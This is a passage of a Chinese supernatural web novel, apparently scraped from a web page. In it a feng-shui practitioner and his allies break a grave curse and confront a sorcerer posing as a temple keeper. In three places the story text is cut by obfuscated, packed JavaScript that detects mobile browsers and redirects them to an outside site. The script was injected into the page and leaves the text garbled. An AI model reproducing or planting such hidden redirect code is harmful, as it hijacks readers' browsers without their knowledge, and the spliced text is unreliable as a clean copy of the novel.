老小子打着哈欠说,“大半夜你找我干什么,不是和吴家大小姐待在一块吗?春宵苦短,要懂得抓住机会啊。” 我翻白眼骂道,“少特娘扯蛋,出事了!百蛇垫棺,这次的问题恐怕比吴家那个工地还要麻烦。” “你说啥?” 手机那头传来明叔摔下床的声音,他窸窸窣窣地爬起来说,“你没开玩笑吧。” 大半夜谁有功夫跟他开玩笑? 我说,“我现在正带着吴娅往回赶,准备天亮后去见一见她老爸,搞清楚她母亲当年死的时候到底发生过什么事。” 不过百蛇垫棺属于十分厉害的风水局,我一个人未必能破,可能需要明叔帮忙。 明叔苦恼道,“我只是个生意人,对风水不了解……这样吧,我把柳凡叫来帮你怎么样?” 如果t恤男肯出面帮忙,那自然是再好不过了。 但我很快就有了疑惑,“他上次不是说要回苗疆处理点事情吗,怎么这么快回来了?” “是啊,下午刚接到他电话,碰巧你就遇上这么麻烦的事,正好用得上。” 明叔表示t恤男应该会在明天下午返回贵阳,到时候再主动跟我联系。 我同意了,挂完电话,先开车送吴娅回了家。 她是一个人住,并没有和老爸生活在一起,偌大的一栋别墅,只有吴娅孤零零的一个人。 吴娅刚受了刺激,一路都很沉默,回家后直接坐在沙发上一声不吭。 没办法,我只好留下来陪着她。 本想和吴娅聊天解闷,可惜自己嘴太笨了,吭哧半天也不知道怎么开口。 对坐着沉默了好久,直到吴娅自己调理好了情绪,勉强冲我一笑,“不好意思,即麻烦你送我回家,又要你留下来陪我这么久。” 我摇头说没事,既然接了你的生意,当然要为客户负责到底了。 她看了我一眼,“你对每个女客户都这么好吗?” 我先是一愣,尴尬地挠头笑了笑,说那可不,收钱办事,当然要服务到位了。 吴娅别过脸不再说什么,不知道是不是错觉,怀疑她在偷偷拿目光瞟我。 孤男寡女待在一块,我忍不住要胡思乱想。 万一她忽然扑过来求安慰,我是坚守底线把人推开,还是吃点亏,直接从了她? 路上奔波这么久,吴娅已经挺累了,加上情绪饱受打击,又哭了一路,不知不觉靠在沙发上睡着。 我继续守了一会儿,瞌睡虫慢慢上来,同样低头打起瞌睡。 第二天一大早,还不等我醒来,就听到一个中年男人的怒斥,“小娅,你太不像话了,竟然往家里乱领人,还没有个规矩!” 我打了个激灵醒来,揉了揉眼睛,看见大门外站着一个方头宽脸的中年男人,五十岁的样子,穿着考究,长得蛮有气势。 正当我思考这个人是谁的时候,吴娅却站起来,迫不及待说,“爸,你怎么回来了,正好,我正准备打电话找你呢。” 通过两人的对话,我猜到这个中年男人应该就是她老爹吴总。 第97章 吴总 面对女儿的话,吴总直接气笑了,很不客气地指着我说, “我当然得回来,要不怎么知道你背着我干了什么事?孤男寡女的待在一起过夜,成何体统!” 吴总一看就是那种脾气比较火爆的人,当然这不能怪他。 主要是昨晚太累了,我和吴娅顾不上男女之嫌,一起靠在沙发上过夜,被人看见了难免起疑心。 吴娅马上说,“爸,你胡说什么呢,我和林峰不是你想的那样!” 随后吴娅替我们做了介绍,吴总的脸色稍微缓和了一点,疑惑地看着我说,“你就是上次帮我解决工地事件的林大师?” 我马上说,“吴总太客气了,这句大师我可当不起,我跟你女儿差不多大,叫我小林吧。” 吴总毕竟是场面人,微微点头,指着沙发让我坐下。 接着他用十分严肃的表情看着我,“工地的事情不是早就解决了吗,你怎么还跟我女儿待在一起,你们到底什么关系?” 关系?尚未发生。 我知道吴总是误会了,赶紧把自己出现在这里的原因解释了一遍。 吴娅也抹着眼泪替我证明,“爸,昨天晚上我带林峰去了老妈的坟墓,终于搞清楚自己为什么每年生日都做一样的梦了。” 可听完我和吴娅的解释,吴总却下意识皱眉,“小娅,你在胡说八道些什么,你母亲死了十多年,根本就不可能存在你说的那种情况!” 吴娅急道,“怎么不会,我每年生日都会梦到她,难道有假?” 吴总咳嗽一声,“我知道,自己平时忙于工作,缺少对你的陪伴,实在不行我陪你去医院看看吧。” “你什么意思,难道觉得我脑子有病?” 吴娅急坏了,赌气坐上沙发,说自己没病,母亲的坟头是真的出了问题。 吴总叹气,“别胡闹了,我回家是为了拿点东西,一会儿还要回公司处理文件呢。” “行,那你走吧,走了别回来,我就当没你这个老爸好了。” 吴娅很激动,说反正你也没在乎过我,心里只有那个狐狸精,早就搬出去陪那个狐狸精一起过了! “你……” 吴总看着叛逆的女儿,有火撒不出,估计也感觉这些年亏欠了女儿不少,十分无奈地摇头, “以后不许再骂你赵阿姨是狐狸精了,对长辈起码要有点尊重。” “呵呵!” 吴娅一说起这个就上火,一改平时的淑女形象,“那个狐狸精比我大不了几岁,有什么资格当我长辈,她配吗?” “小娅!”吴总明显生气了,下意识抬高声调。 然后父女俩都不说话了,场面忽然搞得很僵。 我杵在原地暗自发苦,心里贼尴尬,恨不得用脚指头抠出个三室一厅。 家家有本难念的经,看来有钱人家的生活也不一定过得幸福。 但我这次可不是来看父女吵架的,轻轻咳嗽一声,打破了尴尬的沉默,“吴总,你的家务事我没资格管,聊聊正事吧。” “什么正事,我可没女儿这么好骗!” 吴总摆明了心里有气,又不好对女儿撒,用不太欢迎的眼神看着我。 我哪受得了这个委屈,有钱了不起啊,爷还不伺候了。 我撒腿就要走,吴娅急了,抱着我的胳膊不肯撒开,“林峰你别走,你答应过我会留下来的。” 我耸了耸肩,“可你老爸不信,我有什么办法?” 吴娅又扭头对吴总说,“爸!” “让他走吧,上次工地的事我已经付过钱了,我家好好的,根本就不存在他说的那些问题。” 吴总也不搭理女儿,摆出一副“你这种人我见多了”的神态,估计是怀疑我动机不纯,故意接近她女儿。 本来我都打算走了,可一听这话却忍不住心里有气,冷冷地回头,“你确定自己家好好的?” 吴总挑眉,“当然,我家好不好,我自己还能不知道。” 我直视他眉心,那里那团淡淡的灰气,是秽气盖住命宫的征兆,“你最近生意运营不是太好吧,上次工地出事,应该让你亏损了不少钱才对。” “……做生意有赔有赚,这不能说明问题。”吴总抽了下嘴角,依旧嘴硬。 我又说,“如果只是一个工地出事,或许只能说你点背,但我知道,你现在面临的债务压力应该不小。” “小娅,你怎么把公司的财务状况告诉一个外人?”吴总惊愕不已,用质问的语气看向女儿。 我哼道,“没他的事,我是从你面相看出来的。” 破书上有关于紫微斗数的记载,我虽然只学了个大概,也能勉强看出一点问题。 趁着吴总发愣的时候,我指着他晦暗发黄的疾厄宫说,“我还知道你最近身体不太好,估计没少吃药,而且去了医院不一定能查出病状。” 这下吴总更惊愕了,关于他身体不好的事,并没有告诉任何人。 “你怎么看出来的?” 吴总话里话外都是疑惑,我冷冷一笑说,“首先是你的面相告诉我,你最近正在走霉运。” 其次昨晚我已经研究过他前妻的坟头。 百蛇垫棺有掠夺气运的效果,时间一久,不仅死者会饱受煎熬,更会祸及亲人。 吴总不吭气了,显然已经信了我的话。 我继续说,“你前妻的事如果得不到妥善处理,整个吴家都不会好过,自己好好考虑吧……” 好话说尽,我没必要再留了,转身就要出去。 吴总追上来,“等等,林小、大师……我们换个地方聊吧。” …… 走进书房,吴总把大门一关,开始唉声叹气。 我刚才那些话已经戳中了他的命门。 但我没有急着再说什么,悠闲地翘着二郎腿品茶,等他自己交代。 果然吴总受不了这么压抑的氛围,主动开口道,“我最近确实比较倒霉,好几个工地都遇上麻烦。” 我扬了下眉毛,“应该不止是工地出事吧?” 他没精打采地点头,表示除了工地外,自己身上也出了很多毛病。 具体什么病情说不清,反正就是各种的不舒服,一开始是牙疼,然后肝也疼,走路还总崴脚,昨天赶着开会忘了吃早饭,居然搞得低血糖直接昏过去了。 我敲了敲桌子,“这些虽然是小毛病,但也说明你的身体正在快速走下坡路。” 说话时候我也在默默观察吴总,他面颊有些发青,手指总是不经意间抖动抽,眼睛微红,显示身体各个脏器都有衰竭的征兆。 如果不尽快干预,短则三五个月,长则一年半载,肯定会发展成重病。 第98章 养鬼煞 经过刚才的交谈,吴总已经信了我的话,“难道这些毛病,都是因为我前妻坟头出了问题才导致的?” 我说事实已经摆在眼前了,你还不信我也没办法。 吴总费解地说,“可没理由啊,前妻已经死了十几年了,为什么早不出事晚不出事,偏要等到现在。” 我解释道,“百蛇垫棺是一种见效比较缓慢的风水局,发作不会太早。” 而且吴家的气运确实很旺,吴总能把生意做到这个份上,说明祖宗留下的余荫不低。 之前是靠着祖上的福荫庇护,所以他家一直没出问题。 可再好的祖荫,也不可能护住他一辈子。 “你前妻正在遭受的磨难,会逐步转移到你家的运势上,导致家族运势不断衰败。” 能支撑十五年已经很难得了。 吴总张了张嘴,“这么说,对我前妻摆阵的人,是奔着夺取我家的气运来的?” “那倒不一定。” 我把头摇了摇,百蛇垫棺确实有掠夺气运的效果,但这不是邪阵的主要功能。 对方真正想要的,应该是利用他前妻炼制恶煞。 吴总被震惊到了,飞快擦冷汗。 我则让吴总仔细回想一下,十五年前他前妻到底怎么死的。 吴总摸着额头陷入回忆,“其实我也说不太清楚,我前妻是个很贤惠的人,自从嫁给我之后并没有表现出任何异常。” 刚结婚那会儿,吴总的生意规模还不像现在这么大。 夫妻两相濡以沫,一起度过了很多难关。 他前妻比较迷信,喜欢拜佛,经常去庙里烧香,替吴总祈福求平安。 不知道是不是前妻的祷告起了作用,那之后吴总的生意越做越大。 只是前妻却日渐消瘦,身体状况慢慢变得很糟糕,最终病情发作,不治身亡。 我说,“那你前妻得过什么病?” 吴总很困惑地甩头,表示自己也答不上来。 好像他前妻是在一次拜佛后突然病倒的,那时候国内医疗条件比较差,查不出病因,总之就是浑身无力,越来越没精神。 后来她浑身各个器官开始衰竭,从发病到死亡,大概经历了三个月左右。 说起这件事,吴总的眼眶也变红了,“她死的时候已经瘦成了皮包骨,连经络和血管都清晰可见……” 根据吴总的描述,他前妻身体一直很健康,是在去世前三个月忽然查出浑身乏力,多器官衰竭的症状。 我陷入了沉思,吴总前妻死的这么蹊跷,多半不只是得病这么简单。 很快我的手机开始震动,是明叔打来的电话,说T恤男已经到了。 我让明叔把T恤男带过来,见面之后,马上把吴总刚才说的话转述了一遍。 T恤男思索片刻,忽然对吴总提出了一个问题,“你还记不记得前妻的生辰八字?” 吴总连忙点头,跑进卧室翻找了一圈,随后取出前妻留下的身份证。 通过身份证上的日期,我们推演出吴娅母亲的生辰八字。 T恤男沉思了好一会儿,忽然说,“这就能解释得通了,你前妻是个天阳女。” “什么叫天阳女?” 听到这个,吴总马上困惑地站起来。 明叔帮忙解释道,“天阳女是一种生辰八字比较特殊的人,女人属阴,偏偏出生在阳年阳月阳时,导致身上积攒了过多的阳气,与自己的命格形成反冲。” 背负这种命格的女人通常活不久,到36岁已经是极限了。 其次天阳女的魂魄比较特殊,特别适合用来培养鬼煞。 明叔说出了自己的判断,吴总的前妻是因为命格特殊,被某个邪修盯上,所以下咒害死了她。 对方要的不止是他前妻的命,更是打算借助他前妻的命格来养鬼煞。 百蛇垫棺的风水邪阵,就是培养鬼煞的手段之一。 “她的魂魄被困在那个地方不能超脱,时间越久,怨气就越强烈,会不断吸收毒蛇的毒气。” 等到蛇毒渗入三关,鬼煞就会挑选合适的时辰破土而出。 但这只是养成鬼煞的第一步。 “你前妻要想成煞,还得过第二关,那就是杀掉自己所有的亲人,彻底的断情弃爱,才能蜕变成真正的鬼凶!” 什么? 明叔的话直接给我吓够呛,吴总和吴娅则充满了战栗。 吴总瞪大眼说,“你的意思是,我前妻 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最起码它还记得自己有个女儿,知道自己一旦破棺之后,肯定会在凶手的操控下弑亲,所以每年都给女儿托梦,为的就是提醒她快阻止自己。 吴娅崩溃道,“那老妈为什么不在梦里把话说清楚?” 我和明叔对视一眼,苦笑说,“你母亲也是身不由己,被邪术师用邪阵困在里面,根本给不了你太多提示。” 它能给吴娅托梦,靠的是母女之间特殊的心灵感应。 孩子是母亲身上掉下来的肉,很容易产生精神共鸣。 尤其是生日那天,这种心灵共鸣会在无形中得到加强,才有了托梦的机会。 吴总坐不住了,一脸激动地喊道,“那我们该怎么才能阻止这一切?” 明叔皱眉说,“事情比较麻烦,得分两个步骤。” 首先要先破了百蛇垫棺的邪阵,泄掉吴娅母亲多年积攒的怨气。 第二步则是找到背后布阵的人,除掉他,只有这样才能帮吴娅母亲彻底脱离控制。 吴总傻眼说,“可我们根本不知道凶手是谁,怎么找?” 第99章 邪修佛堂 “这个问题还得问你自己。” 明叔看向吴总,说你刚才不说讲了吗,前妻一直信佛,是在一次拜佛回来之后,身体才开始出问题的。 也许她的死,就跟生前拜佛的地方有关。 吴总的身体震了一下,闭上眼陷入了回忆。 过了好一会儿,他才用不确定的语气说,“难道是那个慈云观的庙祝在搞鬼?” “你把话说清楚,那个慈云观?”我们都看向了吴总。 他不淡定地咽唾沫,说前妻还活着的时候,最喜欢去一个叫慈云观的地方烧香。 一来二去,就跟慈云观的庙祝熟悉了,还捐了不少款。 慈云观的庙祝说,吴总的前妻跟佛有缘,一直劝说她皈依佛门。 可他前妻没答应,毕竟女儿还小呢,自己跟丈夫小日子过得这么好,怎么可能剃度出家? 也是在拒绝了庙祝之后不久,她敬香回来后就病倒了。 明叔一拍桌子,说什么慈云观,我出道这么多年,从没听过有这个地方,肯定不是啥正经佛堂。 我和T恤男也认同明叔的看法,当即就决定去慈云观探一探虚实。 事不宜迟,我们马上开车出发,吴娅也跟我们一起上了车。 路上她心情很苦闷,一直在抹眼泪。 明叔开导道,“丫头,别担心,我们会替你解救母亲的,只是鬼煞属于特别厉害的凶灵,比那个工地上的邪气可厉害多了,价钱方面……” 我都气笑了,恶狠狠地瞪了老小子一眼。 这种时候还有心思敲竹杠,到底有****。 明叔讪笑说,“驱邪也要花本钱嘛。” 行驶了大半小时后,我们来到市郊一座比较偏远的山头。 慈云观就在山顶上面。 这座山头不大,没有修马路,我们只能爬着台阶上山。 路上明叔一直在观察山里的环境,越看越皱眉,“这哪像是佛堂啊,树林这么密,路上连太阳光都照不到。” T恤男附和道,“没错,这里没有半点佛堂的庄严宏伟,遍地是野草,而且我还发现了不少有趣的东西。” 说完T恤男朝一片林子走去,用匕首在地上挖出一个小坑。 坑里埋着一个黑色的罐子,好像泡菜用的坛子。 随着罐子上面的封皮被揭开,我凑过去一看,顿时脸都白了。 只见里面居然塞满了森森白骨,被浸泡在发臭的尸水里面。 骸骨看着不大,应该是婴儿的尸骸。 同样的罐子,这条路上起码有十几个。 明叔抽冷气说,“婴尸骨罐,怪不得山里邪气这么重。” T恤男拧眉朝山顶看了一眼,“这些婴尸骨罐摆放的位置很讲究,符合聚阴法阵的排列规律。” 整个山头就是一个大型的聚阴阵,有人在这里布置了十几个阵眼,每个阵眼下都埋着骨灰罐。 这么做是为了聚阴,把方圆十里内的阴气全都引到同一个地方。 我紧张得直擦汗,“能摆出这种邪阵的人修为怕是不简单,他为什么要搞这么大规模的聚阴阵?” 明叔翻白眼说,“还用问,当然是为了炼制鬼煞了。” 我还是不明白,鬼煞有什么好的?这种害人的大凶物简直泯灭人性。 明叔怪笑两声,摇头说你还是太年轻了,“所谓邪修,就是一帮与天争命的不法狂徒。” 这个世界上最不缺的就是疯子。 为了追求极致的力量,他们什么都能干出来。 我们继续往山里走,很快就来到了慈云观。 保险起见,我和T恤男没有直接进去,带着吴娅躲在一棵阴凉的大树下面。 明叔假扮成香客,一个人进了佛堂。 这栋佛堂不大,只有五六间房,墙壁破破烂烂,挂满了树藤和爬山虎,连太阳光都照不进去。 庙祝是一个瞎了左眼的中年人,穿着黑色布衣,打扮得不僧不俗,走到明叔面前小声交谈着什么。 明叔掏钱买了几炷香,陪庙祝进了佛堂大厅。 我蹲在树荫下观察环境,T恤男提醒我说,“之前的猜测是对的,这个庙祝是个邪修,而且能力相当不错。” 我问T恤男是怎么隔着这么远距离看出来的。 他指了指佛堂门口的一盏灯笼,说你看那是什么。 我说不就是一盏照明灯笼吗? T恤男露出怪诞的表情,“你见过那家寺庙会在大门中间挂灯笼的?那不是普通的灯笼,是用死人皮制作的聚魂阴灯。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743992|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 我下意识地擦冷汗。 T恤男继续说,“聚魂灯是用来引鬼的,佛堂只是个幌子,他在这种地方养鬼,可以避免被人怀疑。” 我不得不佩服庙祝的精明。 谁能想到一个求神拜佛的地方,居然是用来养鬼的腌臜之地? 半小时后,明叔离开佛堂,跑到树荫下跟我们汇合。 不等我开口,明叔就往地上啐了口唾沫, “这哪是佛堂,根本就是个修罗场,里面供奉的也不是释迦摩尼,而是印度教的大黑天!” 传说大黑天是湿婆的黑暗化身,号称毁灭之神,集灾难、瘟疫和死亡为一体,代表极致的黑暗和毁灭。 我惊愕道,“这个庙祝不仅懂风水,还供着印度教的邪神,来头确实不一般。” 讲真,哥们现在有点慌了。 佛堂里的人一看就不好惹,老蝙蝠暂时还没有恢复动手能力,光靠我们三个人,能不能斗得过对方是个大问题。 T恤男摇头说不管了,开弓没有回头箭,今天晚上就先破了百蛇垫棺的邪阵。 邪阵一破,这家伙一定会受反噬,再下手就方便了。 我赞同T恤男的建议,马上跟他们一起下山。 百蛇垫棺的煞气太重,明叔表示不能硬来,必须先请个镇物,压制坟头的煞气才好动手。 我让明叔回去拿镇物,自己先陪T恤男去了昨晚那个地方。 吴娅一直跟着我们,短短两天,她经历了太多冲击三观的事,表情僵得跟木头一样。 我很担心吴娅的状况,“要不你还是别跟我去了,回家和吴总待在一起吧,等我们搞定了这件事再回去找你。” 吴娅木然摇头,说不,她必须亲眼看见母亲的魂魄被放出来, “而且你答应过我的,要让我再和老妈见一次。” “……好吧!” 面对这个固执的女人,我很蛋疼,可谁让自己承诺过呢。 天色擦黑前,我们来到坟头附近。 见到百蛇垫棺的坟头,T恤男眉头微皱,快速在周围走了一圈,回来后说, “对方用百蛇缠棺,已经成了气候,要破局就必须先斩蛇灵,待会儿我们分头行动,你负责开棺超度怨气,我去斗蛇灵!” 第100章 破煞 百蛇垫棺最难缠的地方就是蛇灵,这些幼卵长期和尸体共存,互相影响,已经养成了大气候。 T恤男肯答应对付蛇灵,能替我分担很大压力。 等了两个小时,明叔也带上镇物进山了。 他这次带来的镇物是一个开了眼的关公法相,关公是受了民间香火的正神,对邪气有很强的克制能力。 只要借助神像的力量,对付蛇灵应该不难。 做好这些准备工作,接下来就是挖坟。 我和明叔一人拿了把铲子,沿着坟头三关处开挖。 刚挖了一米多深,土壤下就飘出一股血气,明叔眼疾手快,丢了铲子就往外跑。 我则抓起了一把生石灰洒在刨开的坟坑下面。 吼! 洒下生石灰的同时,一道黑气直接从坟头下面供起来,坟头好像爆炸一般,蹿出一道巨大的黑影。 这条黑影大得离谱,长得比碗口还要粗。 怒扬的蛇头比成年人的拳头还大,两个猩红的眼睛对着我们,吐出粗长的蛇信子。 它周身散发尸气,虽然是灵体,可看上去却堪比真正的蟒蛇。 “是蛇灵,它出来了。” 我顿时就瞪大了双眼,对严阵以待的T恤男喊道,“柳凡,动手!” T恤男也知道蛇灵不好对付,赶紧取出关公神像,狠狠砸在蛇头上面。 蛇灵是用来保护棺材的,只有赶走它,我们才能进行下一步。 好在关公神像很给力,柳凡抓住机会把神像砸在它脑门上。 蛇灵吃痛,马上咆哮一声,坟头刮起了一股阴风,晃得我几乎睁不开眼睛。 我捂着眼睛退到安全区域,等我把手松开的时候,柳凡已经抓着一把黑色短刀,和蛇灵缠斗在一起。 蛇灵的尾巴好像鞭子一样抽在坟头上,掀起了好几块石头,威力惊人。 但柳凡靠着关公神像的加持,完全不杵,每当蛇灵快要打中自己的时候,他就把神像举起来当做挡箭牌。 蛇灵畏惧神像,直接把尾巴一缩,钻进了旁边的草丛。 柳凡大喊一声“站住”,抓着关公神像去追。 我被刚才那条大蟒蛇吓一跳,明叔从草丛里爬出来喊道,“你快点动手,趁蛇灵被柳凡赶跑,快把棺材挖出来。” “好!” 我咽了口唾沫,稳住心神,捡起了铲子继续挖。 虽然蛇灵被赶跑了,但接下来还有个难怪要闯。 我不敢耽误时间,用最快的速度挖坑。 又挖了半米,忽然铲子咯到硬硬的东西,没法继续挖了。 “挖到棺材了,赶紧把它刨出来吧。”明叔也赶来帮忙,替我清理了棺材旁边的泥土。 很快棺材的全貌就展现出来。 等彻底看清棺材后,我和明叔同时倒抽一口凉气。 吴娅母亲被埋在地上十几年了,棺材居然没有丝毫腐烂的迹象。 漆面如新,手电筒照在上面,竟然在反光。 更诡异的是,我在棺材盖子上面发现了五根柳木钉! 五根长钉,分别对应尸体的四肢和心脏,深深楔在棺盖上。 明叔脸色发白,擦汗说,“好狠,用锁魂钉刺穿尸体,可以禁锢它的魂魄。” 柳木本来就是阴木,有滋养魂魄的效果。 就连这口棺材也是柳木打的,在棺材的四个角上,还分别压上一张道符。 上面是弯弯曲曲的血咒,这么多年都没褪色。 我朝道符上看了一眼,马上判断出这属于养鬼符。 符文是利用乌鸦血书写的,聚阴效果十分霸道。 “快把养鬼符揭掉,只要破了那五根钉子的泄气,这个风水邪阵就彻底失效了。” 明叔提醒我快动手,自己却躲得远远的。 我哭笑不得,重新跳进坟坑,先揭开了四张养鬼符,然后找来撬棍,把柳木顶依次撬开。 可当我拔出锁魂钉的时候,却感应到棺材下面有一股很强烈的煞气在涌动。 “不好,尸体被养了十五年,距离成煞也就只差最后一步了。” 我紧张的把手缩回来,如果强行拔出锁魂钉,尸煞气马上就会钻出棺材,谁也说不准接下来会发生什么。 就在我举棋不定的时候,落花洞女却醒了,故作惊讶地说,“呀,这里的煞气好重。” 靠,怎么不早不晚,偏偏这时候出现? 我更不淡定了,生怕她给我添乱。 好在我想多了,她才没心思搭理我这种小打小闹,不屑地冷哼道, 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743993|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“放心吧,只要你保证每个月的供奉给足,姑奶奶就不会坏你的事,而且我还能帮你呢。” “怎么帮?”我眼前一亮。 她慵懒地说,“你不能就这样直接开棺,否则煞气涌出来,会扑灭你的阳火。” 接着她教会我一个办法,把中指咬破,在棺材盖子上面画锁阳符。 利用阳符的气息中和棺材下的冤孽气,就能保证开棺的时候不会发生危险。 “好吧,那我就照你说的试试。” 时间比较紧迫,我担心拖久了会发生新的变故,赶紧咬破中指,在棺盖上面画符。 果然这个办法效果不错,画上锁阳符后,那股蠢蠢欲动的煞气很快就平复了下去。 我稍微松口气,用撬棍依次拔掉锁魂钉,接着用力推开棺盖。 吴娅母亲的尸骨保存完整,虽然血肉已经腐烂掉了,但骨骸却没有遭到任何破坏。 明叔凑上来看了一眼,快速取出汽油瓶,准备一把火把它烧了。 “等等,不准你们烧掉我母亲!”吴娅却从旁边跑出来,用力推开明叔。 明叔说,“丫头,你母亲的尸骨已经吸收了百蛇垫棺的邪气,用不了多久就会的成煞,到时候会比现在难对付十倍,不烧肯定会有大麻烦。” 吴娅根本不听明叔在说什么,固执地看我说,“林峰,你还记得要让我和母亲见最后一面吗?” 我只好点头,从怀里摸出一把匕首,递给吴娅,让她把中指割破,让鲜血滴在骨骸上面。 随后我找来一根鸡血线,一头系在吴娅的手腕上,另一头绑住棺材下的尸骸, “记住你只有半刻钟,人鬼殊途,不能长时间待在一起交流,这样会对你的阳气产生很大的副作用。” 叮嘱完吴娅之后,我就后退两步开始念咒了。 这次的唤魂仪式进行得相当顺利,邪阵已经被我们破掉,吴娅母亲的魂魄死去禁锢,马上变成一股灰气从尸骨中散发出来。 通过鸡血线的引导,这股灰气钻进了吴娅的身体。 吴娅浑身一震,表情马上就变得迷茫了,呆坐在地上,嘴里喃喃自语念叨着什么,一会儿出现一个中年女人的声音,一会儿变成她自己的声音。 没聊多久,吴娅脸上就涌出了两行泪痕。 第101章 斗庙祝 母女俩分别十几年,肯定有很多悄悄话要讲。 我和明叔都识趣地退到坟头外面,没有偷听她们究竟在讲什么话。 几分钟后,明叔忽然担忧道,“她老妈该不会心有不甘,想把女儿也带走吧?” 我摇头说不会,邪阵里的煞气告破,已经不会对吴娅母亲的魂魄构成影响,她现在只是一个游魂,不会有害人的能力。 明叔松口气说,“万幸,我们在它变成鬼煞之前找到了这里。” 如果再拖延个一年半载,等吴娅母亲被养成真正的鬼煞,那就不是现在的我能对付得了的。 过了一炷香的功夫,正在自言自语的吴娅忽然抽起了羊癫疯,身体毫无征兆地抖了几下,重重摔向坟头。 同时一股灰气从她身上钻出来,渐渐消失在了夜幕之下。 “它走了,赶紧办正事吧。” 我招呼明叔上去,把昏迷中的吴娅抱起来,搁在阴凉角。 吴娅即使昏迷,嘴里还在喃喃地念叨,“妈,我舍不得你,可不可以不走?” 她脸上挂着两行清泪,样子别提有多憔悴。 我替她擦掉眼泪,不忍心再看,赶紧移开了目光。 母子亲情才是这个世界上最伟大的东西,要不是因为惦记女儿,恐怕她母亲早就成煞了吧。 明叔已经浇上汽油,一把火点燃了棺材。 火焰沸腾,驱散了骨骸中的尸煞气,下面隐约传来一些“嘶嘶”的蛇叫声。 我低头一看,被火焰包裹的棺材下面,有很多线头一样的小蛇乱窜。 “这些都是阴蛇,不能放过它们!”明叔捡起铲子去拍,把被拍死的小蛇也丢进坟坑。 继续添加汽油,加大火力把这些小蛇一并烧成焦炭。 直到这一刻,百蛇垫棺的风水邪阵才算被彻底解决。 又过了半支烟的功夫,T恤男拎着黑色短刀回来了。 我和明叔迎上去,问他事情办的怎么样。 T恤男冷漠道,“对亏了公关神像,能够镇住蛇灵的邪气,我已经把它超度掉了。” “那就好。” 我深吸一口气,现在风水局已经告破,接下来就该去找那个庙祝算账了。 考虑到吴娅还没苏醒,我把明叔留在这儿照顾她,自己则跟随T恤男去了慈云观。 明叔担心我们可能会有危险,追上来说,“你们小心点,那个庙祝可不是普通的术士。” T恤男回头说,“放心吧,邪阵一破,那家伙必受反噬,估计正趴在地上吐血呢。” 为了防止这家伙跑路,我们直接小跑下山,用最快的速度赶到慈云观。 刚到门口,我就看见一个穿补丁衣服的中年人,正扛着口袋要跑。 他脸上苍白,嘴唇全是血,已经染红了胸襟。 T恤男冷漠地挡在他面前,“你去哪里?” 庙祝谨慎地看着我们,用沙哑的语气破口大骂,“兔崽子,是你们破了我的风水阵?” T恤男把玩着短刀,说你用邪术害人,死有余辜,任何一个有正义感的看见都会管。 “混蛋!” 庙祝气得咬牙切齿,说你们知道我是谁吗,得罪了我,你们下辈子绝对不会好过! 感觉他的样子不像在虚张声势,T恤男冷笑道,“你都伤成这样了还敢大言不惭,那我可不能放虎归山了。” 说罢,T恤男一个健步冲上去,举刀就刺。 他动作很快,但庙祝也不是泥捏的,狞笑着丢开包袱,抓起了一盏人皮灯笼。 他念念有词,人皮灯笼诡异地烧起来,居然浮现出一团绿色火苗。 火苗逐渐放大,分化成好几团拳头大小的鬼火,一下就把T恤男逼退。 “驭鬼术?”T恤男面露惊讶,没想到这家伙被反噬这么严重,还能操控鬼魂对付我们。 庙祝歪嘴冷笑,不屑的道,“连个毛都没长齐的家伙,真是不知道天高地厚,凭你们也配跟我斗!” 话音刚落,就有一团鬼火显化,出现的是一无头男鬼。 男鬼穿着民国时期的服饰,脑袋被捏在手上,空洞的两眼发出渗人的厉笑。 “柳凡小心,这家伙很擅长炼鬼!” 我咽了口唾沫,虽然无头男鬼达不到鬼煞的级别,但也是不折不扣的凶魂。 T恤男面无表情,说了声知道,把短刀抹在手心,轻轻一划。 掌心鲜血滴落在刀身上,显现出一道诡异的符文。 T恤男举起短刀,再次扑上去,刀锋一转,直刺无头男鬼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743994|174184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 男鬼的头颅飞起来,张嘴去咬T恤男。 但T恤男反应很快,短刀从一个不可思议的角度上撩,不偏不倚,刺穿了恶鬼头颅。 啊! 断头鬼发出一声惨叫,头颅炸开,形成一片鬼磷消失。 庙祝的下巴狠狠颤了一下,没想到T恤男这么猛,一出手就搞定了自己控制的凶魂。 他马上在人皮灯笼上画出一道血符,顿时有三道鬼火飘出来。 “你居然炼了这么多鬼仆!”T恤男怒吼一声,再次挥刀。 可有了前车之鉴,三道鬼火并没有直接靠近T恤男,而是围绕他转圈,不断制造出阴恻恻的鬼笑和噪音。 庙祝也阴狠着表情说,“这些鬼仆是我用十几年的时间炼制的,足够对付你了。” 我怒不可遏地指着他,“你已经炼了这么多鬼仆,为什么还不肯放过吴娅母亲?” 